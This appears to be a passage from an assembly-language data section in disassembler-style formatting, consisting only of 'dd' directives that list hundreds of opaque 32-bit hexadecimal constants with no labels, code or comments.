		dd 0EBBA39EAh, 16760D42h, 9EE94ABBh, 0B3ABCDA8h, 0D2AF4656h
		dd 772325Ch, 0FAC5B954h, 3A78029Bh, 678C354Eh, 0D7BFF3C8h
		dd 0FFD4C0E0h, 23527DAAh, 0C8FEE7FDh, 0BA775104h, 0D9906BBFh
		dd 562C22B9h, 0CF9F4821h, 0F4C66F7Ah, 4F1F4AB2h, 0E4CC262Bh
		dd 9C7AABC9h, 0E6EDCA83h, 114CEB94h, 0AECACEA1h, 28EF1876h
		dd 8CA847CEh, 69876DD7h, 0FFFD4F51h, 0C123F009h, 0C242DFBCh
		dd 73C2E3CDh, 0A94D7E45h, 0AD59B312h, 0E11798F2h, 0D75A3C1Fh
		dd 662587CAh, 0C37CFFD5h, 8F3E87A8h, 0E0B7B818h, 6FE38D16h
		dd 0BD242764h, 0B08AABF5h, 0DEDE0CA0h, 0DE57E176h, 7A2AEB4Eh
		dd 98573051h, 496BD2E0h, 29F27DD4h, 0FE857FC9h,	138B7EA5h
		dd 63746B02h, 81BF640Ah, 0B4089DA1h, 7939CB3Fh,	4DB04C6Ch
		dd 7648DFh, 7E44B7C2h, 991E650Ch, 12325E6Eh, 9B1452E1h
		dd 796EBCA8h, 0CB9BEA79h, 42CA7EC6h, 258B6ADCh,	7877A4F2h
		dd 3CA11446h, 86DB76A0h, 0AC3798F3h, 11561B58h,	90F89785h
		dd 0FE037B6h, 17200533h, 78C9640Fh, 0D24584B4h,	6D3F34C2h
		dd 0A05ECD74h, 4A7A925Bh, 501D7F68h, 0A9178AD8h, 46B0FCC7h
		dd 0AC4ABB4Eh, 146C130h, 0D63A8171h, 0AF6E1CD6h, 848ED7A9h
		dd 88DD7F9Ah, 6BDD6017h, 0D67E83BCh, 106A9AD0h,	5D2D5D57h
		dd 8764C900h, 0E372C9DEh, 6AAC4C9Bh, 216092A6h,	0D4882904h
		dd 0BC6DB429h, 342BFC25h, 0DD564519h, 0A1D7D814h, 9783C858h
		dd 0F36CF84Bh, 12A2EFB8h, 461F7060h, 0D62F331h,	0DC6BFBC0h
		dd 11C79683h, 0A0504666h, 0A28DCFD1h, 7A2576DEh, 1D027808h
		dd 3976B450h, 224D4FA8h, 0A0C3AC72h, 0FB37056Eh, 0C10D86C4h
		dd 27CFF9FCh, 0B499B74Fh, 16DAB7DEh, 0A4247578h, 0A56C00Bh
		dd 1483DCAAh, 53E8F84Dh, 0C7B1DC35h, 0C457C7B9h, 1B23BD75h
		dd 8855EDE3h, 9E98462Fh, 905C9A9Eh, 40B21CFCh, 0A9C20E0h
		dd 3708CC31h, 76B1655Dh, 6D43415Bh, 80EAE553h, 0BAD6A762h
		dd 0CEEE9535h, 28C6B9E0h, 7B85CE7Dh, 0D423A6B7h, 0BF4FC18Ch
		dd 3FF66BA3h, 0D533188Ch, 0EB1FE409h, 83914C81h, 0F72F1285h
		dd 351FB323h, 9E469A5Bh, 8F882D7Dh, 4D97CE58h, 0C3EACF4h
		dd 99BF5E35h, 0E6A04E62h, 85B28F01h, 6ABE85E2h,	6A40B390h
		dd 2A2D7159h, 6EA6B4B0h, 99AFECB6h, 0B19A7B46h,	9A021957h
		dd 5772D794h, 0E33B67EDh, 3BD2A9B3h, 0B5F994F8h, 9834F8E3h
		dd 0A1B2AE02h, 0E4906C7Ah, 121D80C3h, 0C7C3557Fh, 88C80924h
		dd 0DB9E57BCh, 0D8457FDBh, 0DD926120h, 504E5A7Ch, 59419478h
		dd 93E4E3F3h, 209A9698h, 80C13EC0h, 0F091C78Dh,	0B3D65053h
		dd 0FB70C121h, 72367841h, 1CCFD9E2h, 470AEA46h,	9D189FF5h
		dd 8A1DB202h, 6BE3EE7Ah, 53D5A4BFh, 9387138h, 4C8633D0h
		dd 7C795DD9h, 3B2778Dh,	3ABE8737h, 9EC4C5CCh, 0C055A692h
		dd 8FD41A31h, 804990D2h, 4B22837Ah, 7C057E7Fh, 5921983Fh
		dd 0D085FE2h, 0CAD04748h, 9FC36FACh, 333B09C1h,	0E1C11273h
		dd 0E10AFC86h, 0FDCE6652h, 655004DEh, 6CB8BBE0h, 0C2B1C9D6h
		dd 1E81156Bh, 0FA15BD94h, 0B7CDAD1Ah, 0C47AEEF3h, 9D28DE83h
		dd 187DD5A4h, 73DF67B2h, 58EC171Bh, 10F76677h, 27C21109h
		dd 82DD5CC1h, 0C08B6C5Dh, 0E285E4F4h, 0FA010EA0h, 9F505764h
		dd 0E203886h, 29297BB5h, 0D50DB6C7h, 652DAF3Ah,	0B216F52Ah
		dd 0CAD6E4E4h, 3A4D813Ah, 2C8CCBC6h, 0F39D9718h, 3AAA7337h
		dd 596A8951h, 488D584Ch, 598229B9h, 985647B6h, 0ECF685C9h
		dd 0D996A189h, 9F534D0Ch, 8B04DDFFh, 0EA46EF91h, 0FADE25BAh
		dd 69E19B8Bh, 97AD9762h, 6C2E9B19h, 11348443h, 87A9E9B2h
		dd 0A1D04B0Fh, 445A65D0h, 1220E1DCh, 4858775Ah,	0BBD65D1h
		dd 7B761D9h, 0B0908242h, 3E66C9D3h, 5EC86BC3h, 0D6253DD9h
		dd 6F9BDA99h, 8D9A25C5h, 876C310Fh, 4D10FB27h, 0C1A46E6Dh
		dd 291925B5h, 0FE47E408h, 0CC495A99h, 81715A50h, 966E8458h
		dd 0CBE8ADACh, 1DAEDE4Eh, 0F35AC126h, 5635019Eh, 1C0A5E86h
		dd 0C4CF9E64h, 0B1FDC32Dh, 5A2BC7A9h, 0D6833ADEh, 99784D82h
		dd 54C919F7h, 452CCF9Ah, 0A7BD6298h, 1C748FE2h,	3E87C7B4h
		dd 6AEC68CCh, 77FFD63Eh, 4084A6F1h, 0F163CE83h,	6B351E2Ch
		dd 76EF9DF0h, 36A546FDh, 0DBBDB5C3h, 65DB6D5Bh,	0EB83F87Eh
		dd 0DF21D740h, 72D2353h, 2C59493Dh, 327E4798h, 0D51D5251h
		dd 230504E3h, 12DDDA10h, 7DF68EDFh, 64692C4Eh, 0DBA1D191h
		dd 24390797h, 39640BAEh, 0F4851CB9h, 0F28AB057h, 0D6BA77D0h
		dd 0E978C898h, 0B68D7ACCh, 53B3F211h, 0DC140948h, 22382A5Eh
		dd 4BAD7FF7h, 4D97EF5Bh, 1C852FA1h, 1F374BE9h, 0AC2B9FC1h
		dd 0A9CFEA2Fh, 92CE4C5Ah, 0F766B8BDh, 8D17BE3h,	591CDAB8h
		dd 5745B01Ch, 32A3644Eh, 65D9E92Dh, 0A4C6B7BBh,	0EBC4A285h
		dd 0F37358EAh, 5975C221h, 0B2C1F372h, 7804BD9Dh, 0C2CC459Ah
		dd 0D9540250h, 0A7C975D8h, 7C2D829Bh, 0EEF05F35h, 196FE14Bh
		dd 36181A8Dh, 0F61B3C7Dh
		dd 330163FCh, 60E24910h, 0C2D1BCA6h, 5FB75E01h,	4C7D352Ah
		dd 12E84D60h, 88A7B42Eh, 0D9EC9762h, 13CA77C1h,	0A75DB8DAh
		dd 2625DBBDh, 0FF48FA3h, 30127CC8h, 2EC38C51h, 0AF8D241Bh
		dd 0AA28D46Bh, 0E2193D59h, 0CAC274F4h, 184EE861h, 1DB8A9ECh
		dd 0C00EB53Ah, 52224929h, 0A5212636h, 46CDBC34h, 2E185538h
		dd 0CCEFF753h, 27517288h, 2B1A2C86h, 2DFF22ADh,	7434A849h
		dd 22940502h, 0E2D7CF7Dh, 6C85F7BEh, 4721AEFAh,	745C6E12h
		dd 8C9EF23Ah, 5D7ECCAh,	3C20C595h, 0A3FA7363h, 0B6547819h
		dd 0C991B18Fh, 93AA74A9h, 0B0659155h, 994526EEh, 344A07D5h
		dd 0D43D20E9h, 95825DAh, 0EDCB9BC1h, 6908FE19h,	14CDA504h
		dd 0E7E0BE0Bh, 6F7AD2E2h, 0CF7B57BFh, 2553800Ch, 0F61E566Bh
		dd 2ABA2F5Eh, 2BD06093h, 88A561B0h, 48136D9Fh, 8082397Ch
		dd 0D6846B63h, 0AAAF99DCh, 8DF665B2h, 8696F78Fh, 0CB12AFFEh
		dd 127661BBh, 248D14CFh, 2B9172A3h, 0A3CEED61h,	5E14880Fh
		dd 5D824915h, 3E5C94E7h, 2C487EB2h, 4C8F8B72h, 0BE3C1740h
		dd 53BD74D0h, 12EB674Dh, 31E5F573h, 13B87BBh, 0FDC2E486h
		dd 0CC4A869Fh, 83FD0B94h, 0CE2CB8B9h, 0D90847B5h, 0AF8A111Dh
		dd 3DA81884h, 24574ED8h, 661658D3h, 8670E601h, 0C4FF8311h
		dd 0C3D5753h, 5F9E066Fh, 1575040Bh, 1FAE2F8Ah, 0F756946Fh
		dd 0F33EDEE2h, 0BF900324h, 0F9480DF0h, 83399EB8h, 485B47BBh
		dd 7052781Ch, 7C65B002h, 6A1926D4h, 0C10DEECFh,	0C222384h
		dd 0DA4AB90Ah, 0EC3B909Bh, 3D12523Ch, 73109F98h, 0C529EA6Fh
		dd 0D95D1E7Eh, 7F390BAh, 4D5F3715h, 0E04F61Ah, 31B74D9h
		dd 0C50AE123h, 0B0FC3545h, 0A67A23C7h, 0FD19CB3Dh, 0D17A8907h
		dd 27067807h, 0E04586D2h, 81EDC040h, 6124DF7Ah,	0C3440D32h
		dd 4D8898D9h, 0EF38DC77h, 0BBC9D66Ch, 0D8539EF3h, 0E234463Dh
		dd 262BC21Ch, 0D5554F3Eh, 0F5BEAD5Ch, 810D996Eh, 59FDCC63h
		dd 0F931159Dh, 6111BE69h, 51D89095h, 0EC032B52h, 5FF4631Ch
		dd 0F2922859h, 617843F0h, 0B9EF9846h, 47874C5Eh, 0D6F159F8h
		dd 0AA197407h, 85F4EF96h, 7D5BCD50h, 0DA278DF2h, 0BC70EA89h
		dd 0C45D794Dh, 9D29C2FAh, 0BEB1EFC9h, 6BEC7B24h, 0BC02A10Bh
		dd 0B2E468EEh, 0AF47F577h, 44676186h, 4CB9BBBAh, 0FAC208BEh
		dd 0D7AA2309h, 23E5E161h, 0AB029496h, 85DF8E3Ah, 29201F94h
		dd 69FE2C98h, 70719A10h, 75C821AFh, 6D8EEFCAh, 0E5BB3BBh
		dd 71159EB8h, 0E29F7A22h, 39318D2Eh, 87875E9Ah,	0CD55939Bh
		dd 1880AA55h, 0DCEB4F1Dh, 7CFAD9B3h, 60FCC722h,	3BD2D4C2h
		dd 0C42358F2h, 655D686Ch, 917F2AA0h, 0FF23A08Eh, 0EFA305A4h
		dd 0D6356179h, 375FE829h, 0FEF2ADCEh, 9184282Ah, 7F4C14AEh
		dd 0F62F8558h, 0C1FC956h, 8ECF7BB2h, 4B4F28EEh,	254BB0ADh
		dd 0DD22A893h, 76828E3Eh, 7BE11086h, 0F9EA988Ch, 5B41C327h
		dd 3B049ED3h, 76CCC341h, 0E13FC6EDh, 13E80944h,	82274FFFh
		dd 741737D0h, 0CC52D1AFh, 47691461h, 11773104h,	0DFF8161Eh
		dd 48F67184h, 1E1CA18Dh, 8608446h, 86B188BCh, 40DAF439h
		dd 732EA373h, 1F87FE87h, 1A93B72h, 0D873C81Fh, 9986FC27h
		dd 0C4D78888h, 0B6FF1486h, 0F603F5CFh, 3276E87Fh, 33F86CE3h
		dd 71842C6Ch, 2A4361BFh, 26CB97CEh, 3AEEBC96h, 0F1E2DE8Bh
		dd 0C94ACD83h, 0E7DA4D96h, 21FE6AB9h, 318D2BE0h, 0EA3D5993h
		dd 5A09F244h, 0AED465D6h, 466C7D10h, 96F2F636h,	718B6F4Fh
		dd 9276704h, 4CFEE718h,	0D7E7C456h, 0DE33DA89h,	0EDFA6024h
		dd 934FCA24h, 0A93EBF31h, 7FA6654Fh, 8795C223h,	14C72A54h
		dd 0EDD92C0Dh, 6BC70416h, 0D8AF8317h, 0C0655D8Ch, 0DA3B2639h
		dd 77045165h, 1DB7D863h, 3ED6B97Dh, 0BD8D1F9Eh,	0B211CEE3h
		dd 0DCEB40BAh, 0A5E5A1F0h, 0BD218CBAh, 9A9540EEh, 795BA068h
		dd 0D090C105h, 10DB6EB0h, 1F09DB1Fh, 470209E4h,	0E597A84Ah
		dd 1DFED3A0h, 0E4B8FF58h, 29607975h, 78D10FAAh,	6A3EA2F1h
		dd 0D03CE9BAh, 9F1E3665h, 0FC1C2700h, 389DB16Ah, 6E421A56h
		dd 29CB4CB1h, 6FBE50CDh, 0C11F84DDh, 11A98893h,	0E8CAC85Bh
		dd 0DC1AC659h, 0ECEB2C2Dh, 0A1B58A52h, 0A8B738F0h, 5CF83BC8h
		dd 59A84F3h, 984C027Bh,	0C784E87Ah, 0EE051F93h,	3E4AA970h
		dd 0D93F0482h, 5C98BFEEh, 30577BA3h, 63AB1953h,	992E4EA3h
		dd 0C14083A8h, 8E84C359h, 0F3B8717Fh, 3AC53A0Eh, 21310A59h
		dd 0AD72F3FFh, 44349E6Fh, 0F1CC52AFh, 90FD8B13h, 635A0618h
		dd 3A1802E4h, 2E73150Bh, 0BE0E6926h, 8A8C07FFh,	13DE2C86h
		dd 0F5ADC026h, 232EA7FDh, 43321B40h, 380A2966h,	0FA107FA4h
		dd 0B539A17Ah, 8B0E0D17h, 0B49F5404h, 34A4D410h, 0A1BDA9A6h
		dd 0BA5C7679h, 0A81AF43Fh, 163FB93h, 0CACB1AC4h, 940B536Eh
		dd 1CEA6B90h, 5CCC91BFh, 892219C6h, 6550E2B4h, 0DBD5393Dh
		dd 0EF1FC023h, 2FB22594h, 45CDDEFBh, 0A9F625A5h, 6902234Eh
		dd 0FD6974CBh, 2F999376h, 0F47C6778h, 15D60F4Bh, 64E67D4Ah
		dd 0B6C3C0EFh, 2227E622h, 4DC171FAh, 849CC7DDh,	7CA1917Ch
		dd 6D7EA0C8h, 1FEF7CB6h, 9039BD8Eh, 0AFE69F50h,	4668FA72h
		dd 609298EEh, 0FEA06B41h, 0F59D994Fh, 4A24D796h, 0A927C096h
		dd 3A496B1Eh, 0EEB9C49h, 70E857Fh, 6950139Eh, 9ED9CC7Ah
		dd 0DDB66E10h, 26C16D9Eh, 89BF91E9h, 0E1C1A90Dh, 598D91DBh
		dd 0F0B7A3D9h, 9CA719D5h, 0BEA635B1h, 0A286EBC9h, 8D9F9823h
		dd 5B6DF392h, 7E948DD3h, 2ADDFC9Ch, 0EDD64D15h,	0B1B4E79Eh
		dd 839D8FF0h, 533C1C97h, 0D80F5120h, 0B988C410h, 37839D34h
		dd 989D8FAEh, 0A188C301h, 34C5069Ah, 0FB0F16B4h, 0D08A7A7Dh
		dd 0CC0E6E36h, 48DAD542h, 31A8BE52h, 0B9FFDF2Ch, 0E3FBC788h
		dd 8CF766EDh, 37BC0F6Bh, 7DAD5233h, 2A35AB85h, 7457FEEDh
		dd 0C038D038h, 59D8F321h, 4ADDAB28h, 0FD853E03h, 0AE016899h
		dd 824939C6h, 500FFC04h, 0C8E9535Eh, 0B25C0BD8h, 0C5AF1895h
		dd 0D96BE596h, 815663E4h, 70D5979Dh, 35603D2Bh,	62135145h
		dd 42437AD0h, 0F9540DE2h, 5828FBE8h, 0A2C29F60h, 0E4B80016h
		dd 1E60268Fh, 76A9BAFBh, 0B4DB10CEh, 0FE1EA298h, 0FBDFC069h
		dd 3FD80596h, 6CF9ACE3h, 8718E12Eh, 0F75D2B55h,	610481F3h
		dd 0BCD8C4F3h, 0D2324B72h, 0C21F0183h, 0BEC3D791h, 46C09806h
		dd 0B513DDE5h, 0C66D6952h, 0CBB618Ch, 66C2FC9Eh, 0EFCA7114h
		dd 853D5019h, 6E976BB2h, 0DD0A12BDh, 21BA764Ah,	0D4A3D495h
		dd 74E1D860h, 0CC304BC1h, 0A8A7FD0Ch, 18AD3FA0h, 261B72BDh
		dd 0FA1FE343h, 0F0A2DEC6h, 0FF22850Dh, 0AF5CB767h, 0B697B285h
		dd 1BE536CDh, 7378F737h, 0C5E975Fh, 7767E958h, 4C0177AAh
		dd 1A0D7697h, 0DE872F06h, 0E7513C41h, 0CB6E6B89h, 732A5CDFh
		dd 903EC4E8h, 0A991A200h, 0B5D04012h, 0A38DCDB0h, 0D0012A99h
		dd 62A93053h, 4C823FE2h, 85CA9513h, 132CDD05h, 51B55D87h
		dd 6E758920h, 0C25305D4h, 620A97DDh, 163DBCA7h,	0B3047805h
		dd 71B29427h, 7E713942h, 58EC9428h, 5FD65D8Ah, 0A9DE04BFh
		dd 0CF0F2A2Ch, 0F0D1B5DCh, 0BE74CE0Ah, 4D57F405h, 35A65654h
		dd 0B2853852h, 5D1F270Fh, 0DDBAA2BBh, 0AB3B398Ah, 0B75A9E48h
		dd 9AE8ED9Bh, 2DAD7EADh, 0B22BD1E6h, 0A0A3FF77h, 477B8A2h
		dd 0AC2F50A7h, 958E232Bh, 0A3C3161Dh, 163C2D7Dh, 3A05EA7Ah
		dd 92363F5h, 6106A37Bh,	0D50475BEh, 4759E73Ch, 9EDF4868h
		dd 6AD72E5Dh, 9FF58FC3h
		dd 0DD291C95h, 18D19DF9h, 9DBDD079h, 0B5C56404h, 2E4D8E00h
		dd 929EB0C7h, 7DC50539h, 5F519AD1h, 68B50307h, 4377AF4h
		dd 0F1939BD3h, 0D56A4F63h, 0FFB873A0h, 6F086843h, 13644A48h
		dd 9AA0D9C5h, 84457595h, 62C7FCB0h, 2931967Dh, 2B9C315Ch
		dd 0C65393A4h, 97FE2979h, 8F17194Bh, 6FAE805Eh,	9D330F92h
		dd 8DF3FC4Eh, 0FBC234F9h, 0E9BF1A43h, 5F7733C9h, 0F15DBE82h
		dd 0B01B719Ch, 787B188Bh, 6B23377Fh, 0E5F8EDC2h, 0D4926ADDh
		dd 8BCACCE4h, 13EA49ACh, 0F0E3A2C6h, 0C4C4FB3Eh, 0AE76BA7Bh
		dd 0EF61DF9Fh, 2374E7Dh, 0A1E405EEh, 0DD6E40B9h, 40E4A817h
		dd 0D163DBAEh, 7B218583h, 2682D07Bh, 0D95F8130h, 23B2534Dh
		dd 0E8862116h, 63C514AEh, 89C573C4h, 0F0C05F5Dh, 895E236Dh
		dd 58AD7E80h, 2498C291h, 3C50DA6Bh, 54C70A0Fh, 0EF898B5Ch
		dd 0C5872B4Fh, 0C4EA936Eh, 36845D35h, 72155FD6h, 0D68A05E8h
		dd 0C790FDA7h, 0B376D496h, 3F1E8FBDh, 0C52000Eh, 5F823DEDh
		dd 5A32CA2Fh, 9C505DA4h, 0BFA18655h, 2E869CD8h,	2C8304DEh
		dd 2D468DC8h, 4292AC76h, 50B372A9h, 0F635371Bh,	990CCC2h
		dd 874CF96Dh, 46C97771h, 9B7C2958h, 0E817C5C6h,	1FC264B3h
		dd 0F3DDE3DDh, 2A106A23h, 69B60A57h, 54C22176h,	0E76B5595h
		dd 825C9D5Dh, 1C8C6A5Ch, 7CB16C31h, 80A757EBh, 6F513A82h
		dd 30B1BB05h, 28F0291Ah, 0FE90B27Ah, 0AA918C68h, 95D3709Eh
		dd 11077A65h, 0ED7ECA6Dh, 2F4C2CB0h, 5A684F59h,	379920CBh
		dd 148CC6D8h, 0E84489A3h, 0DED02BDAh, 1224AB93h, 0F0B5BE52h
		dd 8ACCB7A6h, 8BF92701h, 0DBA7D658h, 22273E0h, 0DC06D9F7h
		dd 4F988EA9h, 6B6DDA65h, 32A78BAAh, 5C2353B9h, 5121D5CCh
		dd 747C7229h, 7ACF18A3h, 60654AAEh, 62A9CF5Ah, 0C790D8DFh
		dd 0A89287FCh, 0F74E4C1Ah, 51225DB9h, 0A31B6063h, 1BDCD2DBh
		dd 0BF671D71h, 947CEEDh, 0B31E279Fh, 0F19D5166h, 0B3E82DC7h
		dd 0A44F51h, 2DE17E80h,	0DAB388AEh, 0F64D45C6h,	0FDE02F2Ah
		dd 14AE1C55h, 768C45B7h, 0B8849833h, 123EA4CDh,	0D16F0428h
		dd 0ADEFD8C8h, 1F6A6673h, 8BE81A45h, 6A970E67h,	680074BEh
		dd 1EEC3461h, 820B7EA8h, 8B462627h, 0F9C0C5A4h,	5A14DEC6h
		dd 0CC60E39Fh, 962921B8h, 0FAD248D0h, 616D1E38h, 0CBA70853h
		dd 70234C85h, 0FDABD493h, 2E610D65h, 0B99180B5h, 6096F899h
		dd 0BAF3B9CFh, 26E63E15h, 2C048DBAh, 65174537h,	154E2FDCh
		dd 0D8F701BEh, 47193077h, 82E56418h, 0BEDC2FF0h, 48F1AAC2h
		dd 0DF55794Fh, 4D6D61CCh, 32FBA3F7h, 8F903463h,	13E3C283h
		dd 488CB174h, 1F59B714h, 0A3540C94h, 97D2FC4Ch,	0CA93FE01h
		dd 95186E27h, 23767940h, 25368EA9h, 0BF29CDEh, 0CA2FDA8Dh
		dd 5FDC9F5Fh, 49CE5CEDh, 94071918h, 2405EC25h, 0E0E09A6h
		dd 4FBDC30Bh, 0F7DEBF24h, 0CB9B7142h, 9929320Eh, 36DADAF0h
		dd 0BDC067D3h, 802C1EB7h, 384FCE3Dh, 0A19AC886h, 0EF8CA2F4h
		dd 0A7B911DDh, 0FD441C7Ah, 0CED8657Fh, 0BBEF4974h, 31CEAD47h
		dd 0EBE9391Fh, 34D03D24h, 0EA83AB0Dh, 8AAB3A9Ch, 0C91B7C03h
		dd 0C67C9827h, 0E93AD8C7h, 0B8E86CF2h, 365093CCh, 0C89B3A05h
		dd 6131068h, 12EAEECFh,	0C9689C7Fh, 0EFC9DAC9h,	6EBD761Ch
		dd 7C676ADFh, 0AE9BC48Dh, 9BD393C2h, 81CBEBD5h,	0DD7A874Ah
		dd 219918D3h, 0EF250927h, 610083F8h, 3C19E0Fh, 701A18C7h
		dd 0A4F37E7Eh, 0EECD81E2h, 645FDDDDh, 2819C7C3h, 215DB82Ah
		dd 9022F01Dh, 0DFCADECDh, 816D0572h, 66149BF8h,	8E11C0AEh
		dd 0E3A6F6D8h, 71197148h, 89964069h, 0ED182921h, 0B251A7F5h
		dd 0E246EF82h, 8EB34C93h, 386A1FFFh, 8471D0C5h,	5CF0A086h
		dd 0B8439B11h, 4CC28068h, 0E4ABBF81h, 29B13CE9h, 6FE547F8h
		dd 3E7C9374h, 1502E56Dh, 0C294EE6Eh, 4185772h, 0D34BEC68h
		dd 0E973B63Ch, 2D2088C2h, 99E95E9Ch, 0AF1DCB8Ch, 651523E2h
		dd 91C6B0D6h, 362092AFh, 0E343C703h, 0BFCC827h,	48D3AD0Eh
		dd 0AE8E60B1h, 0B78BF3D0h, 0E842EDCCh, 9AFA4299h, 0B1D4057h
		dd 8B2FCB2Eh, 0C5135599h, 94A5ED79h, 9D17A8FDh,	0B6B1F3E7h
		dd 1FC2338Fh, 0E53C6430h, 0EE18655Ch, 0C83A4044h, 28FE251Eh
		dd 98515B5Fh, 64B40214h, 0B7BAA475h, 0B6443196h, 0FA8CBBC2h
		dd 52C0C0F8h, 16C9443h,	2A8B6E9Dh, 0E7CA3E08h, 3AABB907h
		dd 0E79810F7h, 21EC02BFh, 0F2E13E34h, 0FD489497h, 213B5DF2h
		dd 6B731551h, 6EBD9DE7h, 1DB99503h, 0A064A6Bh, 0DBC76620h
		dd 0A530A807h, 552A701Eh, 2A53AE14h, 19BB2105h,	0F0A4D9B7h
		dd 0D9E921B0h, 2957C489h, 0C175B074h, 0F490DB5Eh, 45F3A07Fh
		dd 0BD3145E2h, 3B0D6D45h, 2F93A5F2h, 0F03C0051h, 0EF10DB52h
		dd 83AB2A74h, 0B1BBBC93h, 88A10A45h, 0D20CFD97h, 0AE11571Fh
		dd 0AF0F11FAh, 6AAB161Dh, 6235E1FEh, 68C175B0h,	0DE8FC158h
		dd 4342FBE7h, 0DD350DAh, 0BD687E2h, 71D14573h, 145628D4h
		dd 0FC63EF66h, 0BD7F0D7h, 3D0B438Ch, 0BFEB446Ah, 8DFC3922h
		dd 0DE51355Ch, 916BFAEDh, 0B99927Fh, 898B1BDh, 7A939053h
		dd 0EDCB65ACh, 0B29DB561h, 5F404C00h, 2F939333h, 2B57CA3Eh
		dd 7016A8B8h, 0E274275Fh, 0BD00A3C6h, 617C1557h, 0A268BB23h
		dd 3E6C3FA4h, 0E23C609Ch, 0CB70E44Bh, 91A13004h, 0B03673B4h
		dd 0A85581C3h, 55429F5Eh, 0BA97FA47h, 4693048Bh, 1A94E662h
		dd 2944689Bh, 4E2CD7E2h, 23E49F43h, 70A4BCCEh, 0FF52AA36h
		dd 5E53D1FEh, 0E73DDF2Fh, 4729BCB8h, 121C1F47h,	602E6B69h
		dd 0C047A6A1h, 0CB2D43BAh, 4B2A67AFh, 697F5978h, 0BB78D8B4h
		dd 97461BD1h, 921B5F2Bh, 30938EC0h, 0D855131Bh,	817E04EFh
		dd 6804FA4Dh, 0E3DAA724h, 0C9737EEBh, 4E729C13h, 31A07A97h
		dd 9283C6ABh, 9D63266Ch, 58C344CDh, 9112BC53h, 2520CB04h
		dd 5DB6D1E5h, 9804A79Dh, 693380E3h, 0E28A54FDh,	2C5C6A37h
		dd 574CF78Fh, 433A2C80h, 2EC1F710h, 75EF42D6h, 39B3C7B6h
		dd 822B6C54h, 0AF119CD0h, 0D9610344h, 0ECB3FF22h, 6D69CE74h
		dd 826BCCEDh, 0E433E6D8h, 308A2C2Bh, 28DF540Fh,	0C60333A9h
		dd 8BED5893h, 0AD38E365h, 447D7B03h, 0D055C96Bh, 0EF002B3Fh
		dd 85DB7FDDh, 39161A3Bh, 85539389h, 0E7B8FFA9h,	943CAB05h
		dd 87773768h, 0E075EF7Ch, 0FEA8EC3Bh, 0FAB910ECh, 0AB0D57CCh
		dd 8A868368h, 7E5C16ECh, 90107159h, 599F6358h, 7E62312Ah
		dd 13F5F43Bh, 60596A67h, 0B78B10Ch, 305CB89Bh, 0C5729237h
		dd 13FCA92Bh, 0EF36A75Eh, 323E3460h, 8E2FD0ADh,	48CC1BC4h
		dd 0DA316695h, 0F6FEEBC8h, 62B73874h, 0B70BB77Fh, 63C91748h
		dd 0A356E7Ah, 80579B99h, 14222E2Ch, 743D322Ah, 0FF185BCCh
		dd 2619CBFBh, 6E670F0Eh, 0ED4811C3h, 1558DE8h, 0E77F65CFh
		dd 98EA1D48h, 0ED5A4AFAh, 629BC583h, 478327B9h,	0C6FDD71Eh
		dd 23A908B5h, 2A6541F3h, 97798DFEh, 0B0D4FFA7h,	8DBA7E16h
		dd 67053A32h, 516E8291h, 3AC55340h, 0A08CF9D3h,	254129Dh
		dd 220A2127h, 580CFB8Fh, 902AAC21h, 4EC0BBC5h, 12289263h
		dd 5E7E44A8h, 0A2D2ADDBh, 4A0C9407h, 0F6DC091Ch, 72CBA1A1h
		dd 4ABDCF63h, 0A3BE5D92h, 3D92C39Eh, 0CD524889h, 51C892C1h
		dd 2031C07Dh, 2D666D90h, 6D078B4Eh, 0A4882012h,	7E66611Ch
		dd 0BF982547h, 0F1EE3E7Bh, 14D6FC01h, 6AD75310h, 0A4384780h
		dd 9CD11FDBh, 24A7D492h, 0CCEFD034h, 7D2A4AA6h,	2673CE5Bh
		dd 4DAD3F29h, 2106D170h
		dd 0AF81DF77h, 0B5AF3A9Bh, 6AD239A1h, 81749315h, 0FCA119EDh
		dd 0DD8E2BA6h, 5913168Fh, 20BDF03Eh, 0E7EBBAC9h, 65975579h
		dd 2CDD47C8h, 765E8824h, 0DA053CAEh, 51F95225h,	1BB72596h
		dd 451916B1h, 1CF37778h, 98998133h, 60C8F430h, 0B454E059h
		dd 0B3556E23h, 5FDAFA9Ch, 1FB04094h, 0E4A1AFACh, 33B132E0h
		dd 19A2EA8Bh, 89705B1Ch, 46B9D5B3h, 54B330B2h, 0CB3C00BAh
		dd 0EBA754B0h, 112EBCB9h, 0F3494145h, 697FC876h, 9BBC7480h
		dd 28DF541Ch, 0E5A24205h, 81300FFEh, 2A0FA8C3h,	37A0A5C1h
		dd 1FF69C8Dh, 9F666788h, 908DBD1Ah, 3ECF0A60h, 8A8BA735h
		dd 0AD10E7CAh, 8FAEA34Bh, 0D93CD380h, 0A43868F2h, 0E1126B1Bh
		dd 42FF2DF3h, 0B5CB37EAh, 4B35C480h, 0E87D11Ch,	7CADFA2Bh
		dd 0E7BC173h, 896CEEBCh, 3D65137Ch, 2DF822Dh, 0CC2D3BEh
		dd 0DD3BDA11h, 23BB348Fh, 0B5BF4351h, 419B3C82h, 0E83F6525h
		dd 0E6DC1FDDh, 19584CD8h, 5392BA3Ah, 0C49E10C7h, 80C6B5FDh
		dd 5F635A47h, 51444BB8h, 53C70360h, 6C678AEAh, 35E4C384h
		dd 91B91873h, 6B392753h, 1FB093B8h, 5D27AFDFh, 86A57B38h
		dd 0AA66A6Dh, 559AAF46h, 21338D4Ah, 0F9C64CB8h,	0FEB3E3F2h
		dd 2FCEC2D7h, 0B63F456Fh, 2576C68Bh, 0FA3A7CD0h, 2FB38325h
		dd 0EA155A79h, 90423CA3h, 0C6655127h, 8C85248Eh, 7817BA96h
		dd 0E73EB888h, 0A1713F2Eh, 3EB56B40h, 20E60588h, 0FE924A2Eh
		dd 0BD0FCE77h, 83B3F893h, 601CCBB5h, 0EED8C690h, 0E1E9A57Eh
		dd 0F69CBA77h, 0DEB50B1Bh, 0DF9AF7E8h, 0A3264603h, 7904B0B5h
		dd 44A849AAh, 6ACC4C9Fh, 751A6963h, 0A618F231h,	0E42A5C1Ch
		dd 0DE49CFFEh, 0FE704BCCh, 2BB185F8h, 33A347B1h, 0F0C5DE37h
		dd 53AE037Ah, 9E7A07D9h, 10317C9Fh, 145DF937h, 0B696A26h
		dd 573B1A5Bh, 6C74EC43h, 34CB23B9h, 0F566DD3Ah,	7A3B896Bh
		dd 0BE4CA97Dh, 56654983h, 0BBA16DD6h, 2C6C262Eh, 23CF79ECh
		dd 5B877609h, 3898A06Fh, 3E7D3079h, 4C880C8Fh, 9E009D19h
		dd 9F3071D1h, 536751EAh, 0B5FD7EA5h, 7815D813h,	0E998BF79h
